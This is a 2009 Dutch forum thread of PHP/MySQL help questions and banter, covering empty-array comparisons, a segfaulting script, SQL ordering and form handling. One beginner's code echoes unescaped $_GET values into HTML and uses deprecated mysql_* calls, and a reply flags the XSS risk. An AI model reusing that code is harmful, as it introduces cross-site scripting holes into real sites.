abonnement Unibet Coolblue Bitvavo
  woensdag 18 maart 2009 @ 11:01:42 #1
187069 slacker_nl
Sicko pur sang
pi_67163387

cd niet bijgeleverd

Als je vragen hebt over PHP/MySQL, dan zit je hier goed met een vaste kliek guru's en een groot aantal regelmatige bezoekers. Beperk je vragen niet tot "hij doet het niet" of "hij geeft een fout" - onze glazen bol is kapot en we willen graag van je weten wát er niet lukt en wélke foutmelding je precies krijgt

Vorige delen:
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69

Zie ook:
  • PHP Dataverwerking
  • Officiële PHP website
  • PHP Documentatie
  • MySQL Reference Manual
  • Yet Another PHP Faq
  • PHP Cheat Sheet
  • PHP5 Power Programming - boek met uitleg over OOP, Pear, XML, etc

    Tutorials:
  • W3Schools PHP
  • W3Schools SQL

    Deze OP en instructies voor nieuw topic: http://wiki.fok.nl/index.php/OP/PHP

    [ Bericht 0% gewijzigd door slacker_nl op 18-03-2009 11:11:18 ]
  • In theory there is no difference between theory and practice. In practice there is.
    pi_67163447
    tvphp
    pi_67163461
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    include("models/post.php");

    class 
    TVP extends Post
    {
       public static function 
    makeTvp()
       {
          
    parent::makePost("TVP!");
       }
    }

    TVP::makeTvp();
    ?>
    pi_67163590
    quote:
    Op woensdag 18 maart 2009 11:04 schreef Intrepidity het volgende:

    [ code verwijderd ]
    what he says
    pi_67163722
    PHP op je TV(P)
      woensdag 18 maart 2009 @ 11:19:20 #6
    136730 PiRANiA
    All thinking men are atheists.
    pi_67163902
    Deel 70
      woensdag 18 maart 2009 @ 11:20:46 #7
    62215 qu63
    ..de tijd drinkt..
    pi_67163966
    It's Time To Shine
    [i]What would life be like without rhethorical questions?[/i]
      woensdag 18 maart 2009 @ 11:20:51 #8
    63192 ursel
    "Het Is Hier Fantastisch!
    pi_67163970
    quote:
    Op woensdag 18 maart 2009 11:19 schreef PiRANiA het volgende:
    Deel 70
    Yeah.. feest..
    pi_67164449
    tvp!
    pi_67164457
    On topic: ik erger me nog steeds dood aan het feit dat "array() == null" in PHP naar true evalueert Ja, ik kan === gebruiken, maar het gaat om het principe. Een lege array is niet "niets", het is een lege array.
    pi_67165201
    quote:
    Op woensdag 18 maart 2009 11:33 schreef Roy_T het volgende:
    On topic: ik erger me nog steeds dood aan het feit dat "array() == null" in PHP naar true evalueert Ja, ik kan === gebruiken, maar het gaat om het principe. Een lege array is niet "niets", het is een lege array.
    Whehe, ja. Daar kunnen een hoop mensen de mist in gaan. empty kan ook toch?
      woensdag 18 maart 2009 @ 12:04:16 #12
    56176 Catch22-
    Ben je Blind?!
    pi_67165620
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    include("models/post.php");

    class TVP extends Post
    {
       public TVP()
       {
          parent::makePost("TVP!");
       }
    }

    TVP();
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67166019
    quote:
    Op woensdag 18 maart 2009 12:04 schreef Catch22- het volgende:

    [ code verwijderd ]
    Geen geldige constructor in PHP 5, officieel :P

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class TVP extends Post
    {
       public function 
    __construct()
       {
          
    parent::__construct("TVP!");
       }
    }

    new 
    TVP();
    ?>
    pi_67166060
    quote:
    Op woensdag 18 maart 2009 11:52 schreef Scorpie het volgende:

    Whehe, ja. Daar kunnen een hoop mensen de mist in gaan. empty kan ook toch?
    Ja, dat kan. Maar dat is symptoombestreiding: het is gewoon onlogisch om een lege array "null" te vinden.
      woensdag 18 maart 2009 @ 13:30:32 #15
    187069 slacker_nl
    Sicko pur sang
    pi_67168443
    quote:
    Op woensdag 18 maart 2009 11:33 schreef Roy_T het volgende:
    On topic: ik erger me nog steeds dood aan het feit dat "array() == null" in PHP naar true evalueert Ja, ik kan === gebruiken, maar het gaat om het principe. Een lege array is niet "niets", het is een lege array.
    En een lege array is niks. Je ergert je zeker ook aan het feit dat $var = 0 ook failed met isempty().
    In theory there is no difference between theory and practice. In practice there is.
      woensdag 18 maart 2009 @ 13:44:31 #16
    187069 slacker_nl
    Sicko pur sang
    pi_67168889
    quote:
    Op woensdag 18 maart 2009 12:16 schreef Roy_T het volgende:

    [..]

    Ja, dat kan. Maar dat is symptoombestreiding: het is gewoon onlogisch om een lege array "null" te vinden.
    Hoezo?
    De array heeft wat memory toegewezen gekregen is bevat verder geen enkele waarde, aka NULL.
    In theory there is no difference between theory and practice. In practice there is.
    pi_67169134
    quote:
    Op woensdag 18 maart 2009 13:44 schreef slacker_nl het volgende:

    Hoezo?
    De array heeft wat memory toegewezen gekregen is bevat verder geen enkele waarde, aka NULL.
    Er is een array "object" gemaakt, het zou er imo niet toe moeten doen of hier wel of niet iets in staat. Hetzelfde geldt overigens voor een lege string, de integer 0, etc.

    Zo onlogisch is mijn denkwijze overigens niet, want in tig andere talen is een lege array niet null, net zo min als een lege string of het getal 0

    In PHP is ervoor gekozen om het te doen zoals het gedaan is (PHP is niet de enige taal), maar dat neemt niet weg dat ik het stom, onlogisch en irritant vind
    pi_67169315
    Ola Even een vraagje:

    Ik heb een tabel met (rss)feeds erin, en een tabel met de items uit die feeds. Nu wil ik die 2 combineren, en een INNER JOIN leek mij de meest logische oplossing.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    SELECT
        feeds.*,
        feeds_items.*       
    FROM
       feeds
    INNER JOIN    
        feeds_items
    ON
       feeds_items.feed_id = feeds.id


    Dit geeft een mooie lijst, maar deze lijst is eigenlijk veel te lang. Ik krijg nu bijv. zoiets als:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    feed_id   |   Titel
    ----------------------------------
    1   |   bla
    1   |   Blalala
    1   |   lalal
    1   |   blalala
    1   |   Blalala
    1   |   Bla
    2   |   Lalala
    2   |   Tralala
    2   |   Lalalala
    2   |   Joehoe
    2   |   Bla
    2   |   Blalala
    2   |   Blala
    3   |   Joehoe
    3   |   Hello
    3   |   Daag


    Weten jullie hoe ik nou bijv kan limitten op die ID? Dus alleen de eerste 2 van een feed_id waardoor dit overblijft:

    1
    2
    3
    4
    5
    6
    7
    8
    feed_id   |   Titel
    ----------------------------------
    1   |   bla
    1   |   Blalala
    2   |   Lalala
    2   |   Tralala
    3   |   Joehoe
    3   |   Hello
      woensdag 18 maart 2009 @ 18:12:43 #19
    187069 slacker_nl
    Sicko pur sang
    pi_67177148
    quote:
    Op woensdag 18 maart 2009 13:52 schreef Roy_T het volgende:
    Er is een array "object" gemaakt, het zou er imo niet toe moeten doen of hier wel of niet iets in staat. Hetzelfde geldt overigens voor een lege string, de integer 0, etc.
    Het is geen object, aangezien ik niet $array->functie() kan aanroepen. Zoals je wel kan met java met String.toLower, python idem. Dat zijn echte objecten.

    Een array in PHP is geen echt object, maar gewoon een structuur in memory, die in het geval als ie leeg is geen enkele pointer bevat naar iets.. (object, of wat dan ook).

    Een lege string is emtpy, een 0 is een boolean false waarde, dus het is logisch in een loose typed taal dit als "empty" ziet.
    quote:
    Zo onlogisch is mijn denkwijze overigens niet, want in tig andere talen is een lege array niet null, net zo min als een lege string of het getal 0 :)
    Noem er eens eentje.
    quote:
    In PHP is ervoor gekozen om het te doen zoals het gedaan is (PHP is niet de enige taal), maar dat neemt niet weg dat ik het stom, onlogisch en irritant vind :P
    Perl ziet een lege array ook als false:

    1
    2
    3
    4
    5
    6
    7
    my @array;

    if (@array) {
        print "found something\n";
    } else {
        print "found nothing\n";
    }


    Je kan het irritant vinden, maar het is wel logisch.
    In theory there is no difference between theory and practice. In practice there is.
    pi_67177580
    Hoi!

    Wat is er mis met mijn PHP-script?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    include_once('sys_db.inc');

    $resultaat mysql_query("SELECT COUNT(*) AS count FROM todo WHERE ".
    "Soort = 'l' OR Soort = 'v';")
            or die(
    mysql_error());
    $gegevens mysql_fetch_assoc($resultaat);
    $count $gegevens["count"];

    if (
    $count==0)
            exit(
    0);
    else
            exit(
    1);
    ?>


    Dit is namelijk het resultaat als ik het uitvoer:
    quote:
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $ ./klaar.php
    $ ./klaar.php
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $ ./klaar.php
    Segmentation fault
    $ ./klaar.php
    $
    Het ligt trouwens niet aan de sys_db.inc want andere programma's waar ik dat in gebruik werken wel zonder problemen. Dus wie o wie kan mij vertellen waarom dit imbeciel simpele programmaatje ervoor zorgt dat PHP constant crasht?

    [ Bericht 0% gewijzigd door #ANONIEM op 18-03-2009 18:27:28 ]
      woensdag 18 maart 2009 @ 19:12:36 #21
    187069 slacker_nl
    Sicko pur sang
    pi_67179397
    Draait hier zonder problemen, welke php versie gebruik je trouwens?

    PHP 5.2.0-8+etch13 (cli) (built: Oct 2 2008 08:26:18)
    Copyright (c) 1997-2006 The PHP Group
    Zend Engine v2.2.0, Copyright (c) 1998-2006 Zend Technologies


    PHP 5.2.4-2ubuntu5.5 with Suhosin-Patch 0.9.6.2 (cli) (built: Feb 11 2009 20:09:52)
    Copyright (c) 1997-2007 The PHP Group
    Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
    In theory there is no difference between theory and practice. In practice there is.
      woensdag 18 maart 2009 @ 19:14:35 #22
    136730 PiRANiA
    All thinking men are atheists.
    pi_67179481
    quote:
    Segmentation fault can also occur under following circumstances:
    a) A buggy program / command, which can be only fixed by applying patch.
    b) It can also appear when you try to access an array beyond the end of an array under C programming.
    c) Inside a chrooted jail this can occur when critical shared libs, config file or /dev/ entry missing.
    d) Sometime hardware or faulty memory or driver can also create problem.
    e) Maintain suggested environment for all computer equipment (overheating can also generate this problem).
    hmz.. misschien ff een memtest doen?
    pi_67179835
    @slacker_nl:
    PHP 5.2.6-1+lenny2 with Suhosin-Patch 0.9.6.2 (cli) (built: Jan 26 2009 22:41:04)

    @PiRANiA:
    c) is min of meer van toepassing, maar dan zou het óf wel óf niet moeten werken. Dit schijnbaar willekeurige gedrag dat het soms wel en soms niet werkt kan niet door chroot o.i.d. veroorzaakt worden, lijkt me.
    d) en e) lijken mij onwaarschijnlijk, want het probleem doet zich wel alleen maar bij dit ene scriptje voor. Andere programma's werken probleemloos, en ook andere (veel grotere en veel meer reken-intensieve) PHP-scripts werken prima.

    Daarom snap ik het ook niet. Maar bedankt voor het meedenken.
    pi_67186253
    quote:
    Op woensdag 18 maart 2009 13:30 schreef slacker_nl het volgende:

    [..]

    En een lege array is niks. Je ergert je zeker ook aan het feit dat $var = 0 ook failed met isempty().
    isempty() bestaat niet, empty() en isset() wel.
    1
    2
    3
    4
    5
    <?php
    $var 
    0;
    var_dump(empty($var));
    var_dump(isset($var));
    ?>

    Dat levert twee keer true op.
      donderdag 19 maart 2009 @ 00:15:47 #25
    187069 slacker_nl
    Sicko pur sang
    pi_67193479
    quote:
    Op woensdag 18 maart 2009 21:45 schreef Light het volgende:

    [..]

    isempty() bestaat niet, empty() en isset() wel.
    Ja, php en z'n naming conventions.. Dat vind ik nou bloedje irritant van php.
    In theory there is no difference between theory and practice. In practice there is.
    pi_67193603
    quote:
    Op donderdag 19 maart 2009 00:15 schreef slacker_nl het volgende:

    [..]

    Ja, php en z'n naming conventions.. Dat vind ik nou bloedje irritant van php.
    Eens Alleen jammer dat ik andere talen nog niet goed genoeg beheers.
    pi_67195705
    Ik heb voor PHP altijd die cheat sheet klaar liggen. Zelfs ik vergeet af en toe (de volgorde van) parameters van functies/methoden, terwijl ik al bijna 10 jaar met PHP werk.

    $haystack, $needle. $needle, $haystack.
      donderdag 19 maart 2009 @ 08:14:28 #28
    136730 PiRANiA
    All thinking men are atheists.
    pi_67195836
    quote:
    Op donderdag 19 maart 2009 07:59 schreef Tuvai.net het volgende:
    Ik heb voor PHP altijd die cheat sheet klaar liggen. Zelfs ik vergeet af en toe (de volgorde van) parameters van functies/methoden, terwijl ik al bijna 10 jaar met PHP werk.

    $haystack, $needle. $needle, $haystack.
    Ik ook inderdaad
    Trouwens ook van Java, Javascript, MySQL, Regex et cetera. Als je ergens even niet mee bezig bent geweest moet je er vaak weer 'inkomen'
    pi_67195942
    quote:
    Op woensdag 18 maart 2009 18:12 schreef slacker_nl het volgende:

    Het is geen object, aangezien ik niet $array->functie() kan aanroepen. Zoals je wel kan met java met String.toLower, python idem. Dat zijn echte objecten.
    Note de aanhalingstekens rond "object" in mijn post. Ik weet dat het geen object is in PHP.
    quote:
    Een lege string is emtpy, een 0 is een boolean false waarde, dus het is logisch in een loose typed taal dit als "empty" ziet.
    Dat is nog geen reden om er blij mee te zijn toch?
    quote:
    Noem er eens eentje.
    Nou, eentje dan: Ruby.
    pi_67195962
    quote:
    Op donderdag 19 maart 2009 07:59 schreef Tuvai.net het volgende:
    Zelfs ik vergeet af en toe (de volgorde van) parameters van functies/methoden, terwijl ik al bijna 10 jaar met PHP werk.
    Er zit dan ook echt geen lijn in Bij de ene functie eerst $needle, dan $haystack en bij de andere weer andersom
    pi_67196348
    Ik heb er ook echt alleen bij PHP last van. Na PHP werk ik het meest met C#, maar dat schrijf ik in Visual Studio waar Intellisense inzit die netjes een tooltip weergeeft met volgorde van parameters e.d.. Doet PHPDesigner dat ook? Zo ja, dan moet ik die maar eens gaan proberen.
      donderdag 19 maart 2009 @ 09:00:23 #32
    56176 Catch22-
    Ben je Blind?!
    pi_67196503
    zijn wel meer editors die dat doen hoor. je kan ook eclipse proberen (dat is een beetje als anale sex, daar moet je wel van houden)
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67200979
    Iemand misschien ook nog een oplossing voor mijn struikelblok?
      donderdag 19 maart 2009 @ 12:14:11 #34
    187069 slacker_nl
    Sicko pur sang
    pi_67202621
    quote:
    Op donderdag 19 maart 2009 09:00 schreef Catch22- het volgende:
    je kan ook eclipse proberen (dat is een beetje als anale sex, daar moet je wel van houden)
    Quote van de eeuw
    In theory there is no difference between theory and practice. In practice there is.
      donderdag 19 maart 2009 @ 14:04:09 #35
    187069 slacker_nl
    Sicko pur sang
    pi_67206151
    quote:
    Op donderdag 19 maart 2009 08:25 schreef Roy_T het volgende:

    Note de aanhalingstekens rond "object" in mijn post. Ik weet dat het geen object is in PHP.
    [..]

    Dat is nog geen reden om er blij mee te zijn toch?
    [quote]
    Nou, eentje dan: Ruby.
    Een array is daar net zoals in Java een echt object als ik dit zo lees:

    http://www.techotopia.com/index.php/Understanding_Ruby_Arrays
    In theory there is no difference between theory and practice. In practice there is.
    pi_67208645
    quote:
    Op donderdag 19 maart 2009 14:04 schreef slacker_nl het volgende:

    Een array is daar net zoals in Java een echt object als ik dit zo lees:

    http://www.techotopia.com/index.php/Understanding_Ruby_Arrays
    Ja, dat klopt helemaal. En ik stoor me er dus aan dat dat in PHP niet zo is, omdat je daardoor onlogisch gedrag krijgt. Jij misschien niet, maar er zijn natuurlijk geen argumenten waarom ik dat niet zou mogen
    pi_67208983
    Hm. Als ik in een singleton class het volgende doe:

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    method makeTime
    (){
      
    $queryTime 1;
      
    $this->time $queryTime;
      echo 
    $queryTime;
      echo 
    $this->time;
    }
    ?>


    Dan krijg ik 1,0 te zien. Moet ik variabelen in een singleton class anders definieren ?

    [ Bericht 63% gewijzigd door #ANONIEM op 19-03-2009 15:41:48 ]
    pi_67209401
    quote:
    Op donderdag 19 maart 2009 15:39 schreef Scorpie het volgende:
    Hm. Als ik in een singleton class het volgende doe:
    [ code verwijderd ]

    Dan krijg ik 1,0 te zien. Moet ik variabelen in een singleton class anders definieren ?
    Probeer eens self:: i.p.v. $this->.
    pi_67212142
    quote:
    Op donderdag 19 maart 2009 15:53 schreef Tuvai.net het volgende:

    [..]

    Probeer eens self:: i.p.v. $this->.
    Zal het eens ff proberen.
      donderdag 19 maart 2009 @ 18:11:14 #40
    230788 n8n
    Pragmatisch
    pi_67213091
    Ik zoek een klein scriptje of functie die een id-naam van een div wijzigt, bijvoorbeeld van #small naar #wide, en dit opslaat in een cookie. Dus dat je met een input-knop het script start en er een cookie wordt geschreven, dat op andere pagina's uiteraard weer uitgelezen wordt. Ik heb geprobeerd dit met een taalvoorkeursscript op te lossen, maar dit bood mij geen soelaas, ook omdat ik echt een php-dummy ben. Als iemand mij op weg zou kunne helpen heel graag.
    Specialization is for insects”.—Robert Heinlein
    pi_67213771
    Kan javascript ook voor je doen.
      donderdag 19 maart 2009 @ 18:46:40 #42
    230788 n8n
    Pragmatisch
    pi_67213913
    quote:
    Op donderdag 19 maart 2009 18:41 schreef Darkomen het volgende:
    Kan javascript ook voor je doen.
    Dit lijkt me wel mooier omdat de pagina dan niet opnieuw geladen dient te worden, maar daar heb ik nog minder kaas van gegeten.
    Specialization is for insects”.—Robert Heinlein
    pi_67222719
    quote:
    Op donderdag 19 maart 2009 15:53 schreef Tuvai.net het volgende:

    [..]

    Probeer eens self:: i.p.v. $this->.

    Werkt niet. Heb de hele code hier staan: http://pastebin.com/m37ccfcc0

    Database class, extended class MySQL , en dan singleton pattern. Geen idee wat er mis gaat though.
      donderdag 19 maart 2009 @ 23:31:24 #44
    62215 qu63
    ..de tijd drinkt..
    pi_67224639
    Hoe kan je nou een PDF-document netjes opmaken dmv PHP? Ik wil een soort van orderbevestiging/facturen systeem maken, waarbij er dus PDF's aangemaakt moeten worden inclusief logo's etc. Welke class is nou het makkelijkst/beste om te gebruiken?
    It's Time To Shine
    [i]What would life be like without rhethorical questions?[/i]
      vrijdag 20 maart 2009 @ 09:17:20 #45
    46383 Tiemie
    sowieso wel!
    pi_67230118
    quote:
    Op donderdag 19 maart 2009 23:31 schreef qu63 het volgende:
    Hoe kan je nou een PDF-document netjes opmaken dmv PHP? Ik wil een soort van orderbevestiging/facturen systeem maken, waarbij er dus PDF's aangemaakt moeten worden inclusief logo's etc. Welke class is nou het makkelijkst/beste om te gebruiken?
    TCPDF (gebaseerd op FPDF, maar dan met unicode en html-support).
      vrijdag 20 maart 2009 @ 09:31:36 #46
    62215 qu63
    ..de tijd drinkt..
    pi_67230438
    quote:
    Op vrijdag 20 maart 2009 09:17 schreef Tiemie het volgende:

    [..]

    TCPDF (gebaseerd op FPDF, maar dan met unicode en html-support).
    Thanks! Ik ga daar maar even mee spelen..
    It's Time To Shine
    [i]What would life be like without rhethorical questions?[/i]
    pi_67231200
    quote:
    Op donderdag 19 maart 2009 22:44 schreef Scorpie het volgende:

    [..]

    Werkt niet. Heb de hele code hier staan: http://pastebin.com/m37ccfcc0

    Database class, extended class MySQL , en dan singleton pattern. Geen idee wat er mis gaat though.
    Hm...moet ik eerst constante variable definieren ofzo........
    pi_67256776
    Iemand enig idee waarom bij onderstaande code de boel niet werkt? Bij het veranderen van de eerst ASC naar DESC toont hij wel iets, maar niet het goede. Het verwijderen van LIMIT of de notatie LIMIT 0,8 geeft ook geen verandering.

    1
    2
    3
    <?php
    $sql 
    "SELECT id, startdate, enddate, eventname, place, country, eventtype, subscribedate, organizer, print FROM agenda ORDER BY startdate ASC, enddate ASC, subscribedate ASC LIMIT 8";
    ?>
    Aan dit bericht kunnen geen rechten worden ontleend.
      vrijdag 20 maart 2009 @ 23:06:47 #49
    75592 GlowMouse
    l'état, c'est moi
    pi_67256869
    quote:
    Op vrijdag 20 maart 2009 23:04 schreef poepeneesje het volgende:
    Iemand enig idee waarom bij onderstaande code de boel niet werkt? Bij het veranderen van de eerst ASC naar DESC toont hij wel iets, maar niet het goede. Het verwijderen van LIMIT of de notatie LIMIT 0,8 geeft ook geen verandering.
    [ code verwijderd ]
    Dat moet aan je overige code liggen.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67257046
    Ik heb nu dat, misschien dat iemand even mee kan kijken :)?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    <?php
    include "./database/mysql-database-connect.php";

        
    $sql "SELECT id, startdate, enddate, eventname, place, country, eventtype, subscribedate, organizer, print FROM agenda ORDER BY startdate ASC, enddate ASC, subscribedate ASC LIMIT 8";
        
    $query mysql_query($sql) or die (mysql_error ());
        
        while(
    $request mysql_fetch_array($query))
        {   
            
    $id $request["id"];
            
    $startdate $request["startdate"];
            
    $enddate $request["enddate"];
            
    $eventname $request["eventname"];
            
    $place $request["place"];
            
    $country $request["country"];
            
    $eventtype $request["eventtype"];
            
    $subscribedate $request["subscribedate"];
            
    $organizer $request["organizer"];
            
    $print $request["print"];
                
            
    $startday date("d"strtotime($startdate));
            
    $startmonth date("m"strtotime($startdate));
            
    $startyear date("Y"strtotime($startdate));
            
    $endday date("d"strtotime($enddate));
            
    $endmonth date("m"strtotime($enddate));
            
    $endyear date("Y"strtotime($enddate));
            
    $subscribeday date("d"strtotime($subscribedate));
            
    $subscribemonth date("m"strtotime($subscribedate));
            
    $subscribeyear date("Y"strtotime($subscribedate));
                    
            if((
    $print == 1) && ($enddate >= date("Y-m-d")))
            {
                
    $year date("Y");
                
    $nextyear $year 1;

                if((
    $startyear == $year) && ($endyear == $year))
                {    
                    if(
    $startmonth 13)
                    {
                        if(
    $startday == $endday)
                        {
                            if(
    strlen($eventname) > 45)
                            {
                                
    $shortEventname trim(substr($eventname042));
                                echo    
    "<div class=\"date\">$startday/$endmonth/$endyear</div><div class=\"event\">$shortEventname...</div>";
                            }
                            else
                            {
                                echo    
    "<div class=\"date\">$startday/$endmonth/$endyear</div><div class=\"event\">$eventname</div>";
                            }
                        }
                        else
                        {
                            if(
    strlen($eventname) > 45)
                            {
                                
    $shortEventname trim(substr($eventname042));
                                echo    
    "<div class=\"date\">$startday-$endday/$endmonth/$endyear</div><div class=\"event\">$shortEventname...</div>";
                            }
                            else
                            {
                                echo    
    "<div class=\"date\">$startday-$endday/$endmonth/$endyear</div><div class=\"event\">$eventname</div>";
                            }
                        }
                    }
                }
            }
        }
        include 
    "./database/mysql-database-disconnect.php";
    ?>
    Aan dit bericht kunnen geen rechten worden ontleend.
      vrijdag 20 maart 2009 @ 23:15:20 #51
    75592 GlowMouse
    l'état, c'est moi
    pi_67257255
    Die ifjes zullen wel niet meer kloppen. Waarom doe je dat niet met een WHERE in je query?
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67257523
    Het is gewoon een hele lijst met data, evenementen en wat extra info. Daarvan wil ik op een homepage gewoon een samenvatting weergeven van de aankomende X-aantal evenementen. Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
    Aan dit bericht kunnen geen rechten worden ontleend.
      vrijdag 20 maart 2009 @ 23:30:28 #53
    75592 GlowMouse
    l'état, c'est moi
    pi_67257885
    quote:
    Op vrijdag 20 maart 2009 23:21 schreef poepeneesje het volgende:
    Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
    De 8 die je opvraagt voldoen niet aan de IF, klaar. En 'een hele lijst met data' kun je prima met je query filteren.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67289209
    Ik heb een probleem bij het doorgeven van waardes naar een ander formulier.
    Ik heb een spelers tabel. In de spelerstabel staat bij elke rij edit knop. Deze knop roept een php bestand aan waarin de waardes voor de spelers kunnen worden aangepast. Ik kan wel wijzigingen doen maar de waardes worden niet in de velden gezet. De waardes worden als het ware niet doorgegeven. Mijn code is:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    <?php
       function getrecords(){
       $sql = "SELECT * from SPELERS";
       $db = mysql_pconnect('localhost');
       if(!db){
          echo 'fout: kreeg geen verbinding met de database';
          exit;
          }
       mysql_select_db('zaalvoetbal');
       $result=mysql_query($sql);
       if (!$result){
          echo 'fout: sql statement niet correct';
          exit;
          }
       return $result;
       }
       function queryString ($id,$a,$b,$c,$d){
          return htmlspecialchars('spelers_id='.$id.'spelers_voornaam='.$a.'spelers_achternaam='.$b.'spelers_gsm='.$c.'spelers_punten='.$d);   
          }
       $result = getrecords();
       $num_results = mysql_num_rows($result);
       echo 'aantal records:'.$num_results.'<BR><BR>'."\n";
       echo '<table border=1>';
       for ($i=0;  $i < $num_results;$i++){
          $row = mysql_fetch_array($result);
          $spelers_id = $row['spelers_id'];
          $spelers_voornaam = $row['spelers_voornaam'];
          $spelers_achternaam = $row['spelers_achternaam'];
          $spelers_gsm = $row['spelers_gsm'];
          $spelers_punten = $row['spelers_punten'];
          echo '<tr><td>';
          echo $spelers_id;
          echo '</td><td>';
          echo $spelers_voornaam;
          echo '</td><td>';
          echo $spelers_achternaam;
          echo '</td><td>';
          echo $spelers_gsm;
          echo '</td><td>';
          echo $spelers_punten;
          echo '</td><td>';
          echo  '<a href="spelers_edit.php?';
          echo queryString($spelers_id,$spelers_voornaam,$spelers_achternaam,$spelers_gsm,$spelers_punten);
          echo '">edit</a>';
          echo '</td></tr>'."\n";
          }
          echo '</table>';
    ?>


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <h3>Spelers Bewerken</h3>
    <?php
       $spelers_id = $HTTP_GET_VARS['spelers_id'];
       $spelers_voornaam = $HTTP_GET_VARS['spelers_voornaam'];
       $spelers_achternaam =  $HTTP_GET_VARS['spelers_achternaam'];
       $spelers_gsm =  $HTTP_GET_VARS['spelers_gsm'];
       $spelers_punten =  $HTTP_GET_VARS['spelers_punten'];
    ?>
    <?php echo $spelers_voornaam?>;
    <form method="post" action="spelersUpdateRecord.php">
    <input type="hidden" name="spelers_id" value="<?php echo $spelers_id?>">
    Voornaam:<br>
    <input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
    achternaam:<br>
    <input type="Text" name="spelers_achternaam" size=20 value="<?php echo $spelers_achternaam?>"><br><br>
    gsm:<br>
    <input type="Text" name="spelers_gsm" size=20 value="<?php echo $spelers_gsm?>"><br><br>
    punten:<br>
    <input type="Text" name="spelers_punten" size=20 value="<?php echo $spelers_punten?>"><br><br>
    <input type="submit" name="bewaren" value="bewaren">
    </form>
      zondag 22 maart 2009 @ 12:48:56 #55
    75592 GlowMouse
    l'état, c'est moi
    pi_67290127
    1. Je wilt geen verbinding maken met de database in een algemene functie.
    2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
    3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
    4. gebruik urlencode
    5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
    6. zoek eens op XSS (cross site scripting)
    7. gebruik templates om code en opmaak te scheiden
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67291921
    quote:
    Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
    1. Je wilt geen verbinding maken met de database in een algemene functie.
    2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
    3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
    4. gebruik urlencode
    5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
    6. zoek eens op XSS (cross site scripting)
    7. gebruik templates om code en opmaak te scheiden
    ten eerste thx voor de tips! ik ben net begonnen en heb een boek gelezen die (net gekeken) in 2005 is uitgekomen. Ik ga een nieuw boek aanschaffen.
    1. bedoel je hiermee dat je de een aparte php bestand moet aanmaken die het verbinding maken aanroept.
    2. kan ik dan beter mysql_connect gebruiken
    3. duidelijk
    4. duidelijk
    5. ok ik neem aan dat ik ook HTTP_POST_VARS moet vervangen door $_POST
    6. net een stukje over gelezen. Ik begrijp eruit dat mijn db corrupt kan worden doordat ik via urls ook de gegevens weg kan schrijven. Hangt dit samen met punt 4?
    7. duidelijk
    pi_67292268
    quote:
    Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
    1. Je wilt geen verbinding maken met de database in een algemene functie.
    2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
    3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
    4. gebruik urlencode
    5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
    6. zoek eens op XSS (cross site scripting)
    7. gebruik templates om code en opmaak te scheiden
    heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
